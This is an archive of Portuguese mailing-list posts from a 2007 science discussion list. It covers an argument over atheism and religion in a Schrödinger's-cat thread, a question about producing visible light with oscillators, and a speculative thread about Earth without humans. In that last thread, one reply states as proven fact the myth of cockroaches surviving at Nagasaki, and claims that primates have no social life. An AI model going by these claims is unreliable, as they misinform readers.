> > > semana (o pessoal parece que tem outros afazeres de fim de
semana..:-)
> >
> > É verdade o que tu diz no que se refere à resposta da pergunta.
> >
> > No entanto, eu me referia à parte de que "isso aqui virou uma fogueira
> > de vaidades e/ou território de xingamentos". Apenas à esta parte, que
> > demonstrou ser verdade neste episódio.
> > --
> > Marcos Ludwig
> > [ marcosludwig@... (GTalk/MSN) ]
> > [ www.sentinelas.org/reinada ]
> >
>
>
> --
> Marcos Ludwig
> [ marcosludwig@... (GTalk/MSN) ]
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>




SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/07/2007 20:27

Hum..., não tenho intenção de travar detabes em PVT.

Em tempo, "oportunismo" significa a disposição de alguém alcançar algo de
seu próprio interesse à custa da contraparte, especialmente quando a
contraparte não percebe o perigo da violação das regras ou quando não pode
se proteger.

Exatamente o que nosso amigo fez...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Marcos Ludwig" <reinada@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, July 29, 2007 6:11 PM
Subject: Re: [ciencialist] Gato de Schoroedinger


Em 29/07/07, Alvaro Augusto (L) <alvaro@lunabay.com.br> escreveu:
>
> Independente do credo? E por que citou a santíssima trindade?

Devido ao off-topic, a mensagem está sendo respondida em privado.

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


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SUBJECT: Correção - Re: Gato de Schoroedinger e a proteção de Satã
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 20:40

Ops, eu escrevei Alvaro, onde deveria ter escrito Alberto (Mesquita).
Peço desculpas a ambos pelo "lapso". Só percebi quando o Marcos me
apontou meu erro em seu nome e fui verificar as mensagens anteriores..:-)

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Alvaro
>
> Alvaro: "Concordo mas não é isto que flagro em uma centena (talvez
> milhar) de mensagens que tem sido aqui postadas (por você inclusive).
> E é por isso que faço questão de afirmar que sou agnóstico, pois esse
> ateísmo que vocês professam é da pior qualidade, uma verdadeira
> afronta aos amantes da ciência."
>
> Pode ser, pode não ser, mas em todo caso você tem direito a sua
> opinião sobre meu ateísmo.
>
> Alvaro: "Não vejo diferença nenhuma entre esse ateísmo tosco,
> grosseiro e rudimentar e a religiosidade ingênua e inerente ao homem
> das cavernas."
>
> Eu vejo, mas, de novo, todos temos direito a opinião a respeito.
>
> Alvaro: "mas apenas de protestar contra mensagens ou réplicas a
> mensagens deste gênero (há quase um ano não faço outra coisa a não ser
> enviar a grande maioria das mensagens da Ciencialist para a lixeira)."
>
> Neste caso concordo com você, totalmente. Mas penso que a origem desse
> problema, que inclusive nos faz enviar mensagens a lixeira, não é
> responsabilidade dos "ateus", "cientistas de mente fechada", etc, que
> nunca começam uma discussão desse teor, mas dos que crêem, inclusive
> com assinaturas que declaram claramente sua posição de fé e que
> resultam em mensagens como esta.
>
> Pois foi justamente essa percepção, idêntica a sua, que me fez
> escrever contra a assinatura.
>
> Se ninguém começar a falar de fé e crenças diversas, a lista pode
> voltar aos bons tempos, onde se discutia ciência e se aprendia um
> bocado com os co-listeiros.
>
> Observe que, para quem já tem todas as respostas (e fé em sua
> verdade), qualquer debate é inútil e um tanto irrelevante.
>
> Salvo engano, não vai encontrar nenhum desses debates com mensagens
> que envia para o lixo iniciadas a partir de um "ateismo militante",
> mas sim a partir de uma fé declarada.
>
> Eu, pessoalmente, só postei respostas nestes casos, nunca uma proposta
> inicial ou desafio. E não assino minhas mensagens com "deus não
> existe, seus bobos de fé", por exemplo. Por outro lado perdi a conta
> das vezes que fui chamado de "ateu tolo e de mente fechada"..:-)
>
> Um abraço.
>
> Homero
>
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Alberto Mesquita Filho"
> <albmesq@> escreveu
> >
> > ----- Original Message -----
> > From: "oraculo333"
> > Sent: Saturday, July 28, 2007 10:49 PM
> > Subject: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
> >
> >
> > > E como esta é uma lista de ciência, e não de ateísmo,
> > > ou de qualquer fé, e como pretendemos preservar a
> > > sensibilidade de eventuais satanistas que a
> > > freqüentem (e vice versa), é melhor evitar qualquer
> > > manifestação de superstições e crenças, me parece..:-)
> >
> > Concordo mas não é isto que flagro em uma centena (talvez milhar) de
> > mensagens que tem sido aqui postadas (por você inclusive). E é por
> > isso que faço questão de afirmar que sou agnóstico, pois esse ateísmo
> > que vocês professam é da pior qualidade, uma verdadeira afronta aos
> > amantes da ciência. Não vejo diferença nenhuma entre esse ateísmo
> > tosco, grosseiro e rudimentar e a religiosidade ingênua e inerente ao
> > homem das cavernas.
> >
> > PS1: Não responderei a sua possível réplica pois o assunto foge do
> > âmbito da Ciencialist e eu não vim aqui com a finalidade de aparecer
> > mas apenas de protestar contra mensagens ou réplicas a mensagens
> > deste gênero (há quase um ano não faço outra coisa a não ser enviar a
> > grande maioria das mensagens da Ciencialist para a lixeira).
> >
> > PS2: Se alguém desejar saber mais sobre o que penso a respeito sugiro
> > que leia "Ciência, materialismo e espiritualismo" a partir de
> > http://www.ecientificocultural.com/ECC2/Dialogos/cmee.htm
> >
> > [ ]´s
> > Alberto
> > http://ecientificocultural.com/indice.htm
> > Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> > coulombiana e a Terra se move. E a história se repetirá.
> >
>




SUBJECT: RES: [ciencialist] Gerando luz através de osciladores.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/07/2007 21:02

Olá, Antonio,



Esse assunto já foi discutido há muito tempo por aqui.

Um dos principais problemas da transmissão de sinais por ondas
eletromagnética está na antena, cujo “tamanho” é da ordem do comprimento de
onda.

Para a faixa luminosa, uma antena para transmiti-la seria da ordem de
nanômetros.

Ou seja, teoricamente é possível, pois a luz é uma OEM como outra
qualquer. Mas não existe tecnologia para implementar uma antena nas
dimensões requeridas. Quanto à radiações de comprimentos de onda menores(ou
freqüências maiores), nem pensar.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Antonio Picanço
Enviada em: domingo, 29 de julho de 2007 19:36
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Gerando luz através de osciladores.



Salve pessoal,

estive aqui pensando:

A luz é uma onda eletromagnética.
Se criarmos um transmissor de ondas eletromagnéticas que alcancem a
frequência relativa ao espectro visível da luz, conseguiríamos "ver" tal
emissão de ondas ?

--
Luiz Antonio Picanço
-----------
Programando na madrugada:
http://www.luizantonio.com
NeutrineGTD:
http://neutrinegtd.neutrine.com
Não Enche:
http://www.naoenche.com

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/07/2007 21:26

Caro Homero,

Não me lembro de ter escrito essas coisas. Você pode clarear minha memória?

[ ]s

Alvaro Augusto


----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, July 29, 2007 5:26 PM
Subject: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã


Olá Alvaro

Alvaro: "Concordo mas não é isto que flagro em uma centena (talvez
milhar) de mensagens que tem sido aqui postadas (por você inclusive).
E é por isso que faço questão de afirmar que sou agnóstico, pois esse
ateísmo que vocês professam é da pior qualidade, uma verdadeira
afronta aos amantes da ciência."

Pode ser, pode não ser, mas em todo caso você tem direito a sua
opinião sobre meu ateísmo.

Alvaro: "Não vejo diferença nenhuma entre esse ateísmo tosco,
grosseiro e rudimentar e a religiosidade ingênua e inerente ao homem
das cavernas."

Eu vejo, mas, de novo, todos temos direito a opinião a respeito.

Alvaro: "mas apenas de protestar contra mensagens ou réplicas a
mensagens deste gênero (há quase um ano não faço outra coisa a não ser
enviar a grande maioria das mensagens da Ciencialist para a lixeira)."

Neste caso concordo com você, totalmente. Mas penso que a origem desse
problema, que inclusive nos faz enviar mensagens a lixeira, não é
responsabilidade dos "ateus", "cientistas de mente fechada", etc, que
nunca começam uma discussão desse teor, mas dos que crêem, inclusive
com assinaturas que declaram claramente sua posição de fé e que
resultam em mensagens como esta.

Pois foi justamente essa percepção, idêntica a sua, que me fez
escrever contra a assinatura.

Se ninguém começar a falar de fé e crenças diversas, a lista pode
voltar aos bons tempos, onde se discutia ciência e se aprendia um
bocado com os co-listeiros.

Observe que, para quem já tem todas as respostas (e fé em sua
verdade), qualquer debate é inútil e um tanto irrelevante.

Salvo engano, não vai encontrar nenhum desses debates com mensagens
que envia para o lixo iniciadas a partir de um "ateismo militante",
mas sim a partir de uma fé declarada.

Eu, pessoalmente, só postei respostas nestes casos, nunca uma proposta
inicial ou desafio. E não assino minhas mensagens com "deus não
existe, seus bobos de fé", por exemplo. Por outro lado perdi a conta
das vezes que fui chamado de "ateu tolo e de mente fechada"..:-)

Um abraço.

Homero




--- Em ciencialist@yahoogrupos.com.br, "Alberto Mesquita Filho"
<albmesq@...> escreveu
>
> ----- Original Message -----
> From: "oraculo333"
> Sent: Saturday, July 28, 2007 10:49 PM
> Subject: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
>
>
> > E como esta é uma lista de ciência, e não de ateísmo,
> > ou de qualquer fé, e como pretendemos preservar a
> > sensibilidade de eventuais satanistas que a
> > freqüentem (e vice versa), é melhor evitar qualquer
> > manifestação de superstições e crenças, me parece..:-)
>
> Concordo mas não é isto que flagro em uma centena (talvez milhar) de
> mensagens que tem sido aqui postadas (por você inclusive). E é por
> isso que faço questão de afirmar que sou agnóstico, pois esse ateísmo
> que vocês professam é da pior qualidade, uma verdadeira afronta aos
> amantes da ciência. Não vejo diferença nenhuma entre esse ateísmo
> tosco, grosseiro e rudimentar e a religiosidade ingênua e inerente ao
> homem das cavernas.
>
> PS1: Não responderei a sua possível réplica pois o assunto foge do
> âmbito da Ciencialist e eu não vim aqui com a finalidade de aparecer
> mas apenas de protestar contra mensagens ou réplicas a mensagens
> deste gênero (há quase um ano não faço outra coisa a não ser enviar a
> grande maioria das mensagens da Ciencialist para a lixeira).
>
> PS2: Se alguém desejar saber mais sobre o que penso a respeito sugiro
> que leia "Ciência, materialismo e espiritualismo" a partir de
> http://www.ecientificocultural.com/ECC2/Dialogos/cmee.htm
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.
>




SUBJECT: ENC: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/07/2007 21:40





Olá,



Embora me arrisque a tomar outro pito do Takata, preciso dizer algo a
respeito, vez que também ousei produzir, em pouco número, é verdade,
algumas das coisas criticadas. Além do mais há um pedido sincero de
desculpas ao Marcus, ao final.



Mesquita: ”..., pois esse ateísmo
que vocês professam é da pior qualidade, uma verdadeira afronta aos
amantes da ciência”.



Victor: E o que seria um ateísmo de boa qualidade?

O que alguns, poucos, têm discutido por aqui, até onde tenho lido, mesmo com
o risco de tomar porrada do nobre samurai Takata, são argumentos de que
ciência e religião nada têm a ver uma com a outra. E nestas breves incursões
clandestinas, alguns têm expressado suas descrenças a respeito de coisas
relacionadas à espiritualidade. Se são ateus, ou não crentes, ou que outro
nome se dê, é uma questão para o freguês que está lendo. Alguns se dizem
agnósticos, como você; outros professam suas crenças, nesta ou naquela
orientação espiritual. Não vejo nenhum problema nisso. E mesmo que visse,
isto não teria a mínima importância. Particularmente já disse, e reafirmo
com mais ênfase ainda, que quem tem suas convicções, crê nelas, seja-lhes
fiel, e, então, toque o barco para adiante, sem olhar para trás, que lá não
tem volta. Afinal, quem sabe de si é o próprio si.

O que tenho, em particular, criticado, e vou continuar fazendo, só espero
que com “boa qualidade”, é que ambas as linhas de pensamento, religiosa e
científica, fiquem, cada uma em seu lugar. Pois não há qualquer ligação
entre elas. E que numa lista essencialmente científica(ao menos deveria
sê-lo) coisas do tipo que questionei, sem qualquer intenção de magoar ou
agredir quem quer que seja, sejam evitadas. Está certo que o autor da
mensagem é novato na lista –e não levei isso em consideração- talvez ele não
soubesse dessas posturas e, por isso, não achou nada demais postar o texto
em latim. Pois entendo que veteranos não fariam algo assim. Há ambientes
específicos, dedicados ao mister. Não aqui (repito: ao menos não deveria).
Acho que as discussões que têm surgido, inclusive umas poucas de minha
autoria, não têm sido ateístas, nem destinadas a professar isso, que
professar ou pregar esse tipo de coisa é tão idiota quanto o contrário.

Particularmente, e para finalizar, embora não deva importar a ninguém,
apenas a mim, que:

a) Não sou agnóstico, pois significa ficar em cima de um muro que nem
existe, o que é uma posição pessoal e filsófica(para quem gosta disso) que,
há muito, desadotei, sem medo de ir para o inferno;

b) Não sou ateu, pois nada existe para que, em minha particularíssima
opinião, em cuja crença, justifique-se o significado dessa palavra : Ateu sm
(gr átheos) Indivíduo que não crê na existência de Deus; ateísta. fem:
atéia. Antôn: deísta.

c) Por isso, entendo que é deplorável que alguém viva tentando
convencer outra parte de que Deus não existe, que Deus existe, ou outra
coisa.

d) Está certo que, nos últimos 12 ou 18 meses, muita porcaria tem caído
por aqui. Porcaria nesse sentido: porcaria meeesmo! No que toca a mim,
contudo, o Outlook tem resolvido: lixeira. Contudo, outros “lixos” sobre o
assunto ora enfocado, que alguns de nós têm exposto por aqui, não podem ser
considerados assim, com essa franciscana e definitiva simplicidade. Pois
não são. Estes, apenas têm tentado mostrar que as duas são áreas do
conhecimento inteiramente diferentes, sem link possível. Ou há link? De
jeito algum tenho identificado pregações pró ou contra o que quer que seja.
Exceto pelas repulsas às posturas de alguns de nós.



Em vista do exposto, peço ao autor da postagem em latim, Lucas, que me
desculpe. Eu não quis ofendê-lo.

Afinal, lembro agora, coisas muito piores, deploráveis, sem qualquer
ligação com ciência, já forma postadas por aqui, farta e longamente
discutidas, com pouquíssimos e irrelevantes “pios”. De forma que você,
novato, não cometeu nenhum pecado, nem venialzinho que seja.



Particularmente, considero a analogia do gato de Schoroedinger ridícula, à
qual tem-se dado uma atenção desproporcional. Não me aventuro a discutir
coisas que a nada minimamente proveitoso poderemos chegar. Fazer analogias
entre coisas do mundo atômico, que tem um comportamento específico e
diferenciado, com coisas do mundo macroscópico, embora sendo constituído de
ingredientes do mundo atômico, querendo disso inferir verdades essenciais,
é, no mínimo, um equívoco. Sobre o que muita coisa tem sido escrita, sem,
contudo, levar a nada. Como não deveria deixar de ser. Outro exemplo é o do
mal afamado e falso paradoxo dos gêmeos. São sistemas de referências
diferentes. Cada coisa deve ser analisada dentro de seus limites de atuação.
É difícil compreender algo tão elementar assim? Se, com o tempo, janelas
linkando as áreas se abrirem, então tudo bem, as razões por assim aconteceu
serão esclarecidas nos posteriores desenvolvimentos a que o fato deu causa..
Mas não necessariamente no mesmo contexto. Querer o contrário, paciência.
Não é assim, em física.

Infelizmente, até o momento, contudo, não se mostrou que as teorias de micro
e do macro sejam conversíveis uma na outra. A única coisa de que se tem
certeza é o fato de que as atuais são casos particulares daquelas.

´

E claro que, a reboque dessas posturas equivocadas, vem isto: confusão
mental. E os nós que são dados não são fáceis de serem desatados. E haja
malabarismos, para justificações e mais que tais! Por outro lado, o bom é
que isto pode conduzir a posturas de reposicionamento:

a demonstração de que quem aceita coisas assim simplesmente deixou de
abiscoitar as essencialidades do mister. Mas sempre há tempo, embora tempo é
coisa que a vida tem bem pouquinho, quase chegando a nada.



Sds,

Victor.







De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alberto Mesquita Filho
Enviada em: domingo, 29 de julho de 2007 07:18
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã



----- Original Message -----
From: "oraculo333"
Sent: Saturday, July 28, 2007 10:49 PM
Subject: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã

> E como esta é uma lista de ciência, e não de ateísmo,
> ou de qualquer fé, e como pretendemos preservar a
> sensibilidade de eventuais satanistas que a
> freqüentem (e vice versa), é melhor evitar qualquer
> manifestação de superstições e crenças, me parece..:-)

Concordo mas não é isto que flagro em uma centena (talvez milhar) de
mensagens que tem sido aqui postadas (por você inclusive). E é por
isso que faço questão de afirmar que sou agnóstico, pois esse ateísmo
que vocês professam é da pior qualidade, uma verdadeira afronta aos
amantes da ciência. Não vejo diferença nenhuma entre esse ateísmo
tosco, grosseiro e rudimentar e a religiosidade ingênua e inerente ao
homem das cavernas.

PS1: Não responderei a sua possível réplica pois o assunto foge do
âmbito da Ciencialist e eu não vim aqui com a finalidade de aparecer
mas apenas de protestar contra mensagens ou réplicas a mensagens
deste gênero (há quase um ano não faço outra coisa a não ser enviar a
grande maioria das mensagens da Ciencialist para a lixeira).

PS2: Se alguém desejar saber mais sobre o que penso a respeito sugiro
que leia "Ciência, materialismo e espiritualismo" a partir de
http://www.ecientificocultural.com/ECC2/Dialogos/cmee.htm

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 21:41

Mas expandindo um pouco na teoria, sistemas físicos como o corpo negro,
lasers, materiais fosforecentes, todos eles podem ser modelados (os físicos
vão saber dizer melhor do que eu sobre isso) como osciladores. Inclusive,
Planck usou um modelo de osciladores de comprimento de ondas discretos para
chegar à equação que descreve a radiação de corpo negro.

Shridhar
http://entropicando.blogspot.com

On 7/29/07, J.Victor <j.victor.neto@uol.com.br> wrote:
>
> Olá, Antonio,
>
> Esse assunto já foi discutido há muito tempo por aqui.
>
> Um dos principais problemas da transmissão de sinais por ondas
> eletromagnética está na antena, cujo "tamanho" é da ordem do comprimento
> de
> onda.
>
> Para a faixa luminosa, uma antena para transmiti-la seria da ordem de
> nanômetros.
>
> Ou seja, teoricamente é possível, pois a luz é uma OEM como outra
> qualquer. Mas não existe tecnologia para implementar uma antena nas
> dimensões requeridas. Quanto à radiações de comprimentos de onda
> menores(ou
> freqüências maiores), nem pensar.
>
> Sds,
>
> Victor.
>
> De: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>[mailto:
> ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>]
> Em nome de Luiz Antonio Picanço
> Enviada em: domingo, 29 de julho de 2007 19:36
> Para: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Assunto: [ciencialist] Gerando luz através de osciladores.
>
> Salve pessoal,
>
> estive aqui pensando:
>
> A luz é uma onda eletromagnética.
> Se criarmos um transmissor de ondas eletromagnéticas que alcancem a
> frequência relativa ao espectro visível da luz, conseguiríamos "ver" tal
> emissão de ondas ?
>
> --
> Luiz Antonio Picanço
> -----------
> Programando na madrugada:
> http://www.luizantonio.com
> NeutrineGTD:
> http://neutrinegtd.neutrine.com
> Não Enche:
> http://www.naoenche.com
>
> [As partes desta mensagem que não continham texto foram removidas]
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [Acropolis_] Uma Terra sem humanos
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: "Acropolis" <Acropolis_@yahoogrupos.com.br>
CC: <ciencialist@yahoogrupos.com.br>
DATE: 29/07/2007 22:15


Morales:

Exterminados os humanos, haveria um rigorosorurgimento de novas espécies vegetais, híbridas, e, consequentemente, é de se supor que as abelhas passem a controlar a natureza pois a polinização é uma super arma para proceder à seleção: basta que, livres, elas desenvolvam mais seus sentidos.
Caso se alieem aos cupins, o eveito seria magnífico, desde que não houvesse competição pelo mercado pois a flora também iria recuperar os espaços perdidos.
Uma terceira opção seriam os golfinhos, que já têm rudimentos de pernas (já foram terrestres) pois sua massa encefálica é altamente complexa.
Os demais mamíferos, entre eles os primatas, não vejo oportunidade para eles: não têm e jamais terão vida social em razão da necessidade de proteína.

Sua idéia é uma ótima questão para elucubrações, pois em verdade o ciclo dos humanos está chegando ao fim: Um conflito nuclear entre a dicotiomia político religiosaextinguirá todas quase todas as formas de vida, havendo grande probabilidade de que os insetos , como já está provado com as baratas de nagazaki, sobreviverão ao cataclisma.
Se toda a vida terminar, inclusive a vegeral, surgirão novas células replicantes e coimeça tudo de novo.....

uma boa noite,

silvio.
----- Original Message -----
From: Antonio Morales
To: Acropolis
Sent: Thursday, July 26, 2007 6:28 PM
Subject: [Acropolis_] Uma Terra sem humanos




Uma Terra sem humanos
Uma nova forma de avaliar o impacto da humanidade sobre
o ambiente é pensar como o mundo se sairia se todas as
pessoas desaparecessem

matéria integral disponível em:
http://www2.uol.com.br/sciam/reportagens/uma_terra_sem_humanos.html




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Gerando luz através de osciladores.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/07/2007 22:16

Olá J. Victor e Antônio,

tenho um texto pertinente que está em (só a primeira parte):

http://www.feiradeciencias.com.br/sala08/ET_01.asp

eis uma parte que convém à thread em curso:

++++++++
Portanto, ao movermos uma carga elétrica para trás e para diante a diferentes freqüências, podemos gerar o espectro eletromagnético completo, desde as ondas de rádio aos raios gama, incluindo microondas, infravermelhos, radiação visível, ultravioleta e raios X. Estas designações são, de certa forma, arbitrárias: não existem verdadeiras fronteiras entre os diferentes tipos de ondas eletromagnéticas. Elas diferem na freqüência (ou, equivalentemente, nos comprimentos de onda), que pode variar continuamente dentro de toda gama do espectro.

E, para simplificar, tudo virou antena!
Apesar de todas as ondas eletromagnéticas serem semelhantes, podem ser geradas de diferentes maneiras. Por exemplo, as ondas de rádio são freqüentemente geradas por fios que conduzem corrente elétrica (antenas), enquanto os raios gama são produzidos nas desintegrações nucleares. Mas mesmo a qualificação das ondas pela forma como são geradas é arbitrária: podemos convenientemente considerá-las geradas por 'antenas de diferentes tamanhos': as ondas de rádio por grandes antenas, as microondas por antenas menores (provavelmente o leitor já viu ambos os tipos); as ondas infravermelhas, visíveis, e ultravioletas, geradas por antenas de dimensões atômicas; os raios gama, por antenas de dimensões nucleares. Portanto, o tamanho de uma antena pode variar desde vários metros até à bilionésima parte do metro, ou menos.

As ondas eletromagnéticas diferem, também, pelo grau com que interagem com a matéria. Se qualquer fonte de radiação puder ser vista como uma antena de transmissão (um emissor), a matéria com que a radiação interage pode ser vista como uma antena receptora (um receptor). A diferença essencial entre os receptores é apenas a freqüência das ondas à qual respondem. Quando giramos o 'botão das estações' de um rádio, estamos ajustando os seus circuitos de forma que fiquem em sintonia com a freqüência da radiação transmitida pela estação cujo programa desejamos ouvir; dai seu nome -- botão de sintonia --. O mesmo acontece com qualquer radiação eletromagnética, não só com as ondas de rádio. Um receptor em sintonia com uma radiação que parte de um emissor responderá fortemente a essa radiação; o receptor poderá ter dimensões moleculares, atômicas ou até nucleares.

Espectro de emissão
...........
+++++++++++++++++++++

[]'
+++++++++++++
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 29 de julho de 2007 21:02
Assunto: RES: [ciencialist] Gerando luz através de osciladores.


Olá, Antonio,



Esse assunto já foi discutido há muito tempo por aqui.

Um dos principais problemas da transmissão de sinais por ondas
eletromagnética está na antena, cujo "tamanho" é da ordem do comprimento de
onda.

Para a faixa luminosa, uma antena para transmiti-la seria da ordem de
nanômetros.

Ou seja, teoricamente é possível, pois a luz é uma OEM como outra
qualquer. Mas não existe tecnologia para implementar uma antena nas
dimensões requeridas. Quanto à radiações de comprimentos de onda menores(ou
freqüências maiores), nem pensar.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Antonio Picanço
Enviada em: domingo, 29 de julho de 2007 19:36
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Gerando luz através de osciladores.



Salve pessoal,

estive aqui pensando:

A luz é uma onda eletromagnética.
Se criarmos um transmissor de ondas eletromagnéticas que alcancem a
frequência relativa ao espectro visível da luz, conseguiríamos "ver" tal
emissão de ondas ?

--
Luiz Antonio Picanço



SUBJECT: Re: Gato de Schoroedinger
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 22:23

--- Em ciencialist@yahoogrupos.com.br, "SILVIO CORDEIRO"
> Mestre Takata: a função de coordemador foi extinta?
> qual a cor da tinta?

1. Nunca existiu a função de coordenador na lista.
2. Existem moderadores.
3. São três moderadores, mais o dono.
4. Eu não tenho nada a ver com a liberação ou não das mensagens desta
linha.

[]s,

Roberto Takata



SUBJECT: Re: Gerando luz através de osciladores.
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 22:27

--- Em ciencialist@yahoogrupos.com.br, "Luiz Antonio Picanço"
> Se criarmos um transmissor de ondas eletromagnéticas que alcancem a
> frequência relativa ao espectro visível da luz, conseguiríamos "ver"
> tal emissão de ondas ?

Tem um treco chamado laser...

[]s,

Roberto Takata



SUBJECT: Re: RES: [ciencialist] Gerando luz através de osciladores.
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 22:28

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> Ou seja, teoricamente é possível, pois a luz é uma OEM como outra
> qualquer. Mas não existe tecnologia para implementar uma antena nas
> dimensões requeridas.

Pra isso existe a fibra óptica.

[]s,

Roberto Takata



SUBJECT: Re: Gato de Schoroedinger
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 22:35

Lembrando a todos q esta lista NÃO se dedica a discutir religião.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Correção - Re: Gato de Schoroedinger e a proteção de Satã
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/07/2007 22:37

OK. Fico feliz. Pensei que eu estive ficando com Alzheimer!

[ ]s

Alvaro Augusto

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, July 29, 2007 8:40 PM
Subject: [ciencialist] Correção - Re: Gato de Schoroedinger e a proteção de
Satã


Ops, eu escrevei Alvaro, onde deveria ter escrito Alberto (Mesquita).
Peço desculpas a ambos pelo "lapso". Só percebi quando o Marcos me
apontou meu erro em seu nome e fui verificar as mensagens anteriores..:-)

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Alvaro
>
> Alvaro: "Concordo mas não é isto que flagro em uma centena (talvez
> milhar) de mensagens que tem sido aqui postadas (por você inclusive).
> E é por isso que faço questão de afirmar que sou agnóstico, pois esse
> ateísmo que vocês professam é da pior qualidade, uma verdadeira
> afronta aos amantes da ciência."
>
> Pode ser, pode não ser, mas em todo caso você tem direito a sua
> opinião sobre meu ateísmo.
>
> Alvaro: "Não vejo diferença nenhuma entre esse ateísmo tosco,
> grosseiro e rudimentar e a religiosidade ingênua e inerente ao homem
> das cavernas."
>
> Eu vejo, mas, de novo, todos temos direito a opinião a respeito.
>
> Alvaro: "mas apenas de protestar contra mensagens ou réplicas a
> mensagens deste gênero (há quase um ano não faço outra coisa a não ser
> enviar a grande maioria das mensagens da Ciencialist para a lixeira)."
>
> Neste caso concordo com você, totalmente. Mas penso que a origem desse
> problema, que inclusive nos faz enviar mensagens a lixeira, não é
> responsabilidade dos "ateus", "cientistas de mente fechada", etc, que
> nunca começam uma discussão desse teor, mas dos que crêem, inclusive
> com assinaturas que declaram claramente sua posição de fé e que
> resultam em mensagens como esta.
>
> Pois foi justamente essa percepção, idêntica a sua, que me fez
> escrever contra a assinatura.
>
> Se ninguém começar a falar de fé e crenças diversas, a lista pode
> voltar aos bons tempos, onde se discutia ciência e se aprendia um
> bocado com os co-listeiros.
>
> Observe que, para quem já tem todas as respostas (e fé em sua
> verdade), qualquer debate é inútil e um tanto irrelevante.
>
> Salvo engano, não vai encontrar nenhum desses debates com mensagens
> que envia para o lixo iniciadas a partir de um "ateismo militante",
> mas sim a partir de uma fé declarada.
>
> Eu, pessoalmente, só postei respostas nestes casos, nunca uma proposta
> inicial ou desafio. E não assino minhas mensagens com "deus não
> existe, seus bobos de fé", por exemplo. Por outro lado perdi a conta
> das vezes que fui chamado de "ateu tolo e de mente fechada"..:-)
>
> Um abraço.
>
> Homero
>
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Alberto Mesquita Filho"
> <albmesq@> escreveu
> >
> > ----- Original Message -----
> > From: "oraculo333"
> > Sent: Saturday, July 28, 2007 10:49 PM
> > Subject: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
> >
> >
